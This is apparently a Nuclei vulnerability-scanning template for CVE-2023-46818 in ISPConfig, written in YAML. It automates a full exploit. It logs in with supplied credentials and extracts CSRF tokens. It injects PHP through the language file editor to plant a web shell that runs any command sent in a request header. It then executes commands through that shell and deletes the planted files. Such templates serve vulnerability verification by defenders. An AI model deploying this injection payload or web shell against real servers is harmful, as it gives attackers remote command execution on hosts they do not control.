147 lines
3.4 KiB
YAML
147 lines
3.4 KiB
YAML
id: CVE-2023-46818
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info:
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name: ISPConfig PHP Code Injection if allow_admin_langedit is enabled
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author: non-things
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severity: high
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description: |
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An issue was discovered in ISPConfig before 3.2.11p1. PHP code injection can be achieved in the language file editor by an admin if admin_allow_langedit is enabled.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2023-46818
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- https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/
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- http://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html
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- http://seclists.org/fulldisclosure/2023/Dec/2
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 7.2
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cve-id: CVE-2023-46818
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cwe-id: CWE-94
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metadata:
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verified: true
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max-requests: 1
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product: ispconfig
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tags: ispconfig,rce
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variables:
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lang-file: sbcoeybcmrpkgkiutdflqzfwvj.lng
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websh-file: f1f755911b4ce3bde7f811de445aebf1.php
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websh: "<?php print('____'); passthru($_SERVER['HTTP_C']); print('____'); ?>"
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websh-base64: "{{base64(websh)}}"
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payload: "'];file_put_contents('{{websh-file}}',base64_decode('{{websh-base64}}'));die;#"
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payload-url-enc: "{{url_encode(payload)}}"
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echo-cmd-hash: fa8b39a9446212dff83ed5d830f044a3
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echo-cmd: "echo {{echo-cmd-hash}}"
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http:
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- method: POST
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path:
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- "{{BaseURL}}/login/"
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headers:
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Content-Type: application/x-www-form-urlencoded
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body: username={{username}}&password={{password}}&s_mod=login
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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part: header
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words:
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- "Set-Cookie"
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- method: POST
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path:
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- "{{BaseURL}}/admin/language_edit.php"
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headers:
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Content-Type: application/x-www-form-urlencoded
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body: lang=en&module=help&lang_file={{lang-file}}
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- "_csrf_id"
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- "_csrf_key_"
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condition: and
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extractors:
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- type: regex
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name: lang_file_location
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internal: true
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group: 1
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regex:
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- "<legend>Language file: (.*)</legend>"
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- type: regex
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name: csrf_id
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internal: true
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group: 1
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regex:
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- "_csrf_id\" value=\"(.*)\" />"
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- type: regex
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name: csrf_key
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internal: true
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group: 1
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regex:
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- "_csrf_key\" value=\"(.*)\" />"
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- method: POST
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path:
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- "{{BaseURL}}/admin/language_edit.php"
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headers:
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Content-Type: application/x-www-form-urlencoded
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body: "lang=en&module=help&lang_file={{lang-file}}&_csrf_id={{csrf_id}}&_csrf_key={{csrf_key}}&records[%5C]={{payload-url-enc}}"
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matchers:
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- type: status
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status:
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- 200
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- method: GET
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path:
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- "{{BaseURL}}/admin/{{websh-file}}"
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headers:
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C: "{{echo-cmd}}"
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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words:
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- "{{echo-cmd-hash}}"
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- method: GET
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path:
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- "{{BaseURL}}/admin/{{websh-file}}"
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headers:
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C: "rm {{lang_file_location}}"
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matchers:
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- type: status
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status:
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- 200
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- method: GET
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path:
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- "{{BaseURL}}/admin/{{websh-file}}"
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headers:
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C: "rm {{websh-file}}"
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matchers:
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- type: status
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status:
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- 200
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